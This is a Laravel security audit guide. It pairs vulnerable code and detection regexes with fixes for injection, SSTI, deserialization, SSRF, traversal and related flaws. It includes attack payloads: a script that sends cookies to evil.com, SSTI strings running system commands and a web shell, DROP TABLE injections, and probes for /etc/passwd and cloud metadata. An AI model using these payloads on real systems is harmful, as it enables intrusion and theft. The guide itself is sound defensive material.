# Laravel Security Audit Guide

> Laravel Framework Security Audit Module
> Applicable to: Laravel 8.x/9.x/10.x/11.x

## Core Attack Surface

As the most popular framework in the PHP ecosystem, Laravel's unique Eloquent ORM, Blade template engine, routing system, and serialization mechanisms bring unique security challenges: Mass Assignment, deserialization RCE, SQL injection, SSTI, etc.

---

## Mass Assignment Vulnerability Detection

```php
// Dangerous operation
User::create($request->all());              // ❌ High: Mass assignment attack
$user->fill($request->input());             // ❌ High
$user->update($request->only(['name']));    // ❌ If not properly configured

// Audit regex
::create\s*\(\s*\$request->all\(\)|->fill\s*\(\s*\$request->|->update\s*\(\s*\$request->

// Vulnerability example
public function updateProfile(Request $request) {
    $user = Auth::user();
    $user->update($request->all());  // ❌ Critical: Can modify arbitrary fields
    return redirect('/profile');
}

// Attack payload
POST /profile
{
  "name": "Attacker",
  "is_admin": true,       // ← Privilege escalation
  "role": "admin",
  "credits": 999999
}

// Security fix method 1: Use $fillable whitelist
class User extends Model {
    protected $fillable = ['name', 'email', 'bio'];  // ✓ Only allow these fields
    // Or use $guarded blacklist
    protected $guarded = ['id', 'is_admin', 'role'];  // ✓ Block these fields
}

// Security fix method 2: Explicit field specification
public function updateProfile(Request $request) {
    $user = Auth::user();
    $user->update([
        'name' => $request->input('name'),
        'email' => $request->input('email'),
    ]);  // ✓ Explicit control
}

// Security fix method 3: Use validated()
public function updateProfile(UserRequest $request) {
    $user = Auth::user();
    $user->update($request->validated());  // ✓ Only update validated fields
}
```

---

## SQL Injection Detection

```php
// Dangerous operation - Raw Queries
DB::select("SELECT * FROM users WHERE id = " . $id);  // ❌ Critical
DB::statement("DELETE FROM users WHERE role = '$role'");  // ❌

// Dangerous operation - Query Builder
DB::table('users')->whereRaw("name = '$name'")->get();  // ❌
User::whereRaw("email = '$email'")->first();  // ❌

// Dangerous operation - orderByRaw / groupByRaw
User::orderByRaw($request->input('sort'))->get();  // ❌

// Audit regex
DB::(select|statement|raw|delete|update|insert)\s*\(.*\$|whereRaw.*\$|orderByRaw.*\$
havingRaw|groupByRaw

// Vulnerability example
public function search(Request $request) {
    $keyword = $request->input('keyword');
    $users = DB::select("SELECT * FROM users WHERE name LIKE '%{$keyword}%'");  // ❌
    return view('users', compact('users'));
}

// Attack payload
GET /search?keyword=' OR '1'='1
GET /search?keyword='; DROP TABLE users--

// Security fix - Parameterized queries
$users = DB::select(
    "SELECT * FROM users WHERE name LIKE ?",
    ['%' . $keyword . '%']
);  // ✓

// Use Query Builder (best)
$users = User::where('name', 'like', '%' . $keyword . '%')->get();  // ✓

// whereRaw safe usage
User::whereRaw('YEAR(created_at) = ?', [$year])->get();  // ✓ With parameter binding

// orderBy safe usage
$allowedColumns = ['name', 'created_at', 'email'];
$sort = $request->input('sort', 'name');
if (!in_array($sort, $allowedColumns)) {
    $sort = 'name';
}
User::orderBy($sort)->get();  // ✓ Whitelist validation
```

---

## Laravel Deserialization RCE

```php
// Dangerous operation
unserialize($request->cookie('user'));      // ❌ Critical: Deserializing user input
unserialize(base64_decode($data));          // ❌ Critical
unserialize(file_get_contents($path));      // ❌ If path is controllable

// Laravel-specific deserialization chain
// APP_KEY leakage → Forge encrypted Cookie → RCE

// Audit regex
unserialize\s*\(|APP_KEY\s*=|Illuminate\\.*__destruct

// Vulnerability scenario 1: APP_KEY leakage
// .env file leakage
APP_KEY=base64:YourSecretKeyHere  // ❌ Can forge signatures if leaked

// Checkpoints
- Is .env in .gitignore
- Is it in a public repository
- Does debug mode leak it
- Is /.env HTTP access blocked

// Vulnerability scenario 2: Direct deserialization
public function processData(Request $request) {
    $data = $request->input('data');
    $object = unserialize(base64_decode($data));  // ❌ Critical
    return $object->process();
}

// Laravel POP chain example (CVE-2021-3129)
- Illuminate\Broadcasting\PendingBroadcast::__destruct()
- Illuminate\Events\Dispatcher::dispatch()
- Illuminate\Bus\Dispatcher::dispatchNow()
- Illuminate\Foundation\Application::call()

// Security measures
// 1. Protect APP_KEY
APP_KEY=base64:$(openssl rand -base64 32)  # Strong random key
# Never commit to version control

// 2. Avoid deserializing user input
$data = json_decode($request->input('data'));  // ✓ Use JSON

// 3. Block .env access
# .htaccess
<Files .env>
    Order allow,deny
    Deny from all
</Files>

# nginx
location ~ /\.env {
    deny all;
}

// 4. Upgrade to secure version
Laravel 8.83.27+ / 9.5.1+
```

---

## Blade Template Injection (SSTI)

```php
// Dangerous operation
{!! $userInput !!}                           // ❌ High: Unescaped HTML output
@php echo $request->input('code'); @endphp   // ❌ Critical: Executes PHP code
Blade::render($template)                     // ❌ If $template is user-controllable

// Audit regex
\{\!\!.*\$|@php\s+.*\$request|Blade::render.*\$request

// Vulnerability example 1: Unescaped output
<div class="bio">
    {!! $user->bio !!}  // ❌ High: XSS
</div>

// Attack payload
POST /profile
bio=<script>fetch('https://evil.com?c='+document.cookie)</script>

// Vulnerability example 2: Dynamic template
public function render(Request $request) {
    $template = $request->input('template');
    return Blade::render($template, ['user' => Auth::user()]);  // ❌ Critical: SSTI
}

// Attack payload
POST /render
template={{ system('id') }}
template=@php system($_GET['cmd']); @endphp

// Security fix
// Use {{ }} for auto-escaping
<div class="bio">
    {{ $user->bio }}  // ✓ HTML escaped
</div>

// If HTML output is required, use Purifier
<div class="bio">
    {!! clean($user->bio) !!}  // ✓ Using HTMLPurifier
</div>

// Prevent user-controlled templates
// Use predefined template list
$allowedTemplates = ['profile', 'dashboard'];
$template = $request->input('template', 'profile');
if (!in_array($template, $allowedTemplates)) {
    abort(400);
}
return view($template);  // ✓
```

---

## Path Traversal and File Operations

```php
// Dangerous operation
Storage::get($request->input('file'));       // ❌ High: Path traversal
file_get_contents($path);                    // ❌ If $path is user-controllable
File::delete($request->input('path'));       // ❌ Critical: Arbitrary file deletion
include($request->input('page') . '.php');   // ❌ Critical: File inclusion

// Audit regex
Storage::(get|put|delete).*\$request|file_get_contents.*\$request
File::(get|put|delete).*\$request|include.*\$request|require.*\$request

// Vulnerability example
public function download(Request $request) {
    $filename = $request->input('file');
    $path = storage_path('app/files/' . $filename);
    return response()->download($path);  // ❌ High: Path traversal
}

// Attack payload
GET /download?file=../../.env
GET /download?file=../../../etc/passwd

// Security fix
public function download(Request $request) {
    $filename = $request->input('file');

    // 1. Validate filename
    if (strpos($filename, '..') !== false || strpos($filename, '/') !== false) {
        abort(403);
    }

    // 2. Extension whitelist
    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    if (!in_array($ext, ['pdf', 'jpg', 'png'])) {
        abort(403);
    }

    // 3. Use realpath for validation
    $basePath = storage_path('app/files');
    $fullPath = realpath($basePath . '/' . $filename);

    if (!$fullPath || strpos($fullPath, $basePath) !== 0) {
        abort(403);
    }

    // 4. Check file exists
    if (!Storage::disk('files')->exists($filename)) {
        abort(404);
    }

    return Storage::disk('files')->download($filename);  // ✓
}

// File inclusion safety
$allowedPages = ['home', 'about', 'contact'];
$page = $request->input('page', 'home');
if (!in_array($page, $allowedPages)) {
    abort(404);
}
return view($page);  // ✓ Use view() instead of include
```

---

## SSRF Detection

```php
// Dangerous operation
Http::get($request->input('url'));           // ❌ High: SSRF
file_get_contents($url);                     // ❌
Guzzle\Client->get($url);                    // ❌

// Audit regex
Http::(get|post|request).*\$request|file_get_contents.*\$request
Guzzle.*->get.*\$request

// Vulnerability example
use Illuminate\Support\Facades\Http;

public function fetch(Request $request) {
    $url = $request->input('url');
    $response = Http::get($url);  // ❌ High: SSRF
    return $response->json();
}

// Attack payload
GET /fetch?url=http://169.254.169.254/latest/meta-data/
GET /fetch?url=http://localhost:6379/
GET /fetch?url=file:///etc/passwd

// Security fix
public function fetch(Request $request) {
    $url = $request->input('url');

    // 1. URL validation
    $parsed = parse_url($url);
    if (!$parsed || !isset($parsed['scheme'], $parsed['host'])) {
        abort(400, 'Invalid URL');
    }

    // 2. Protocol whitelist
    if (!in_array($parsed['scheme'], ['http', 'https'])) {
        abort(403, 'Invalid protocol');
    }

    // 3. Host whitelist
    $allowedHosts = ['api.example.com', 'cdn.example.com'];
    if (!in_array($parsed['host'], $allowedHosts)) {
        abort(403, 'Host not allowed');
    }

    // 4. Block internal IPs
    $ip = gethostbyname($parsed['host']);
    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
        abort(403, 'Internal IP not allowed');
    }

    $response = Http::timeout(5)->get($url);  // ✓
    return $response->json();
}
```

---

## Authentication and Authorization Bypass

```php
// Dangerous operation
// Ownership not verified
public function deletePost($id) {
    Post::find($id)->delete();  // ❌ High: IDOR
}

// Weak authentication check
if ($request->header('X-Admin') == 'true') {  // ❌ Critical
    // admin actions
}

// Client-based authorization
if ($request->input('role') == 'admin') {  // ❌ Critical
    // ...
}

// Audit regex
->delete\(\)|->update\(\)  # Check if authorization validation exists
\$request->(input|header).*==.*admin

// Vulnerability example 1: IDOR
public function updatePost(Request $request, $id) {
    $post = Post::findOrFail($id);
    $post->update($request->all());  // ❌ Ownership not checked
    return redirect()->back();
}

// Attack scenario
PUT /posts/123  // Modify another user's post

// Vulnerability example 2: Permission bypass
Route::group(['prefix' => 'admin'], function () {
    Route::get('/users', [AdminController::class, 'users']);
});
// ❌ Missing middleware('auth') or can() check

// Security fix 1: Policy authorization
// app/Policies/PostPolicy.php
public function update(User $user, Post $post) {
    return $user->id === $post->user_id;  // ✓
}

// Controller
public function updatePost(Request $request, Post $post) {
    $this->authorize('update', $post);  // ✓ Check authorization
    $post->update($request->validated());
    return redirect()->back();
}

// Security fix 2: Middleware
Route::group(['middleware' => ['auth', 'role:admin']], function () {
    Route::get('/admin/users', [AdminController::class, 'users']);
});  // ✓

// Security fix 3: Gate
if (Gate::denies('update-post', $post)) {
    abort(403);
}
```

---

## CSRF Protection Detection

```php
// Dangerous configuration
// app/Http/Middleware/VerifyCsrfToken.php
protected $except = [
    '*',                 // ❌ Critical: Globally disabled
    'api/*',             // ⚠️ API endpoints need other protection
    '/webhook/*'         // ✓ Reasonable (external callbacks)
];

// Audit regex
VerifyCsrfToken.*\$except|@csrf  # Check if properly used

// Vulnerability scenario
// State-changing operations without CSRF enabled
Route::post('/transfer', [TransferController::class, 'transfer']);
// ❌ If in $except

// Security measures
// 1. Only disable CSRF for necessary paths
protected $except = [
    'webhook/stripe',    // ✓ Third-party callbacks
    'webhook/paypal',
];

// 2. Include CSRF token in Blade templates
<form method="POST" action="/transfer">
    @csrf  // ✓ Generates hidden CSRF token
    <input type="text" name="amount">
    <button type="submit">Transfer</button>
</form>

// 3. Include CSRF token in AJAX requests
// resources/js/bootstrap.js
axios.defaults.headers.common['X-CSRF-TOKEN'] = document.querySelector('meta[name="csrf-token"]').content;

// 4. Use Sanctum for APIs instead of disabling CSRF
Route::middleware('auth:sanctum')->post('/api/transfer', ...);
```

---

## Open Redirect Detection

```php
// Dangerous operation
return redirect($request->input('url'));     // ❌ Medium
return redirect()->intended($request->input('next'));  // ❌

// Audit regex
redirect\s*\(\s*\$request|redirect\(\)->.*\$request

// Vulnerability example
public function logout(Request $request) {
    Auth::logout();
    $next = $request->input('redirect');
    return redirect($next);  // ❌ Medium: Open redirect
}

// Attack payload
GET /logout?redirect=https://evil.com/phishing

// Security fix
public function logout(Request $request) {
    Auth::logout();

    $next = $request->input('redirect', '/');

    // Method 1: Only allow relative paths
    if (parse_url($next, PHP_URL_HOST) !== null) {
        $next = '/';
    }

    // Method 2: Whitelist validation
    $allowedDomains = ['example.com', 'app.example.com'];
    $host = parse_url($next, PHP_URL_HOST);
    if ($host && !in_array($host, $allowedDomains)) {
        $next = '/';
    }

    return redirect($next);  // ✓
}

// Method 3: Use route() or action()
return redirect()->route('home');  // ✓ Most secure
return redirect()->action([HomeController::class, 'index']);  // ✓
```

---

## XXE Vulnerability Detection

```php
// Dangerous operation
$xml = simplexml_load_string($request->input('xml'));  // ❌ High: XXE
$dom = new DOMDocument();
$dom->loadXML($xmlString);  // ❌ Not secure by default

// Audit regex
simplexml_load_(string|file)|DOMDocument.*loadXML|XMLReader

// Attack payload
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

// Security fix
// Disable external entities
libxml_disable_entity_loader(true);  // PHP < 8.0

$dom = new DOMDocument();
$dom->loadXML($xmlString, LIBXML_NOENT | LIBXML_DTDLOAD | LIBXML_DTDATTR);  // ❌ Dangerous flags

// ✓ Safe loading
$dom = new DOMDocument();
$dom->loadXML($xmlString, LIBXML_NOCDATA | LIBXML_NONET);  // ✓

// Best practice: Avoid XML, use JSON
$data = json_decode($request->input('data'), true);  // ✓
```

---

## Command Injection Detection

```php
// Dangerous operation
exec($request->input('cmd'));                // ❌ Critical
shell_exec("ping " . $host);                 // ❌
system("convert " . $file);                  // ❌
`whoami $user`;                              // ❌ Backtick execution

// Audit regex
exec\s*\(.*\$|shell_exec.*\$|system\s*\(.*\$|passthru.*\$|`.*\$

// Vulnerability example
public function ping(Request $request) {
    $host = $request->input('host');
    $output = shell_exec("ping -c 4 " . $host);  // ❌ Critical
    return $output;
}

// Attack payload
GET /ping?host=google.com;whoami
GET /ping?host=`cat /etc/passwd`

// Security fix
public function ping(Request $request) {
    $host = $request->input('host');

    // 1. Validate format
    if (!filter_var($host, FILTER_VALIDATE_IP) && !filter_var($host, FILTER_VALIDATE_DOMAIN)) {
        abort(400, 'Invalid host');
    }

    // 2. Use escapeshellarg
    $output = shell_exec("ping -c 4 " . escapeshellarg($host));  // ✓

    return $output;
}

// Best practice: Avoid shell, use native functions
// ❌ shell_exec("rm " . $file);
// ✓ File::delete($file);

// ❌ exec("cp $src $dst");
// ✓ File::copy($src, $dst);
```

---

## Sensitive Information Disclosure

```php
// Dangerous configuration
// config/app.php
'debug' => true,                             // ❌ Debug enabled in production

// .env leakage
APP_DEBUG=true                               // ❌ Production environment
DB_PASSWORD=secret123                        // ❌ If .env is leaked

// Code leakage
return response()->json($exception);         // ❌ Exception object leaked
dd($user);                                   // ❌ Debug output not removed
Log::debug($request->all());                 // ❌ Password logged

// Audit regex
APP_DEBUG=true|dd\(|dump\(|var_dump\(|print_r\(
Log::.*password

// Security measures
// 1. Production environment configuration
APP_ENV=production
APP_DEBUG=false
LOG_LEVEL=error

// 2. Custom error pages
// resources/views/errors/500.blade.php
@if(config('app.debug'))
    {{ $exception->getMessage() }}
@else
    Something went wrong.  // ✓ Generic error
@endif

// 3. Log sanitization
Log::info('Login attempt', [
    'email' => $email,
    'password' => '***',  // ✓ Do not log passwords
]);

// 4. Protect .env
# .gitignore
.env
.env.backup

# nginx
location ~ /\.env {
    deny all;
}
```

---

## Rate Limiting and Brute Force

```php
// Missing rate limiting
Route::post('/login', [AuthController::class, 'login']);  // ❌ Unlimited retries

// Audit regex
Route::post.*login|Route::post.*register  # Check for throttle

// Security measures
// 1. Use built-in throttle middleware
Route::post('/login', [AuthController::class, 'login'])
    ->middleware('throttle:5,1');  // ✓ 5 per minute

// 2. Custom rate limiting
// app/Providers/RouteServiceProvider.php
RateLimiter::for('login', function (Request $request) {
    return Limit::perMinute(5)->by($request->input('email'));  // ✓ Limit by email
});

Route::post('/login', [AuthController::class, 'login'])
    ->middleware('throttle:login');

// 3. Use CAPTCHA
// Require CAPTCHA after 3 failed login attempts
```

---

## Search Pattern Summary

```regex
# Mass Assignment
::create\s*\(\s*\$request->all|->fill\s*\(\s*\$request

# SQL Injection
DB::(select|statement).*\$|whereRaw.*\$|orderByRaw.*\$request

# Deserialization
unserialize\s*\(|APP_KEY\s*=

# SSTI
\{\!\!.*\$|@php.*\$request|Blade::render.*\$request

# Path Traversal
Storage::(get|delete).*\$request|include.*\$request

# SSRF
Http::(get|post).*\$request|file_get_contents.*\$request

# Command Injection
exec\s*\(.*\$|shell_exec|system\s*\(|passthru|

# Authorization
->delete\(\)|->update\(\)  # Check for authorize

# CSRF
VerifyCsrfToken.*\$except

# Sensitive Information
APP_DEBUG=true|dd\(|var_dump\(

# Open Redirect
redirect\s*\(\s*\$request
```

---

## Quick Audit Checklist

```markdown
[ ] Check composer.json dependency versions
[ ] Check if .env is in .gitignore
[ ] Check APP_DEBUG production configuration
[ ] Search for create/fill/update ($request->all)
[ ] Check Model $fillable/$guarded
[ ] Search for whereRaw/orderByRaw (SQL injection)
[ ] Check unserialize and APP_KEY leakage
[ ] Search for {!! (Blade unescaped output)
[ ] Check file operation path concatenation
[ ] Check Http::get/file_get_contents (SSRF)
[ ] Check exec/shell_exec (command injection)
[ ] Check Policy and authorize usage
[ ] Check VerifyCsrfToken $except
[ ] Check redirect open redirect
[ ] Check rate limiting on login/register endpoints
```

---

## Minimum PoC Examples
```bash
# Blade SSTI/Unescaped Output
curl "http://localhost/profile?name={{7*7}}"

# SQL Injection (whereRaw)
curl "http://localhost/users?orderByRaw=id desc;select version()"

# SSRF
curl "http://localhost/fetch?url=http://169.254.169.254/latest/meta-data/"
```

---

## Reference Resources

- [Laravel Security Best Practices](https://laravel.com/docs/security)
- [OWASP Laravel Security](https://cheatsheetseries.owasp.org/cheatsheets/Laravel_Cheat_Sheet.html)
- [Laravel CVEs](https://www.cvedetails.com/vulnerability-list/vendor_id-16542/Laravel.html)
- [Enlightn Security Scanner](https://github.com/enlightn/enlightn)
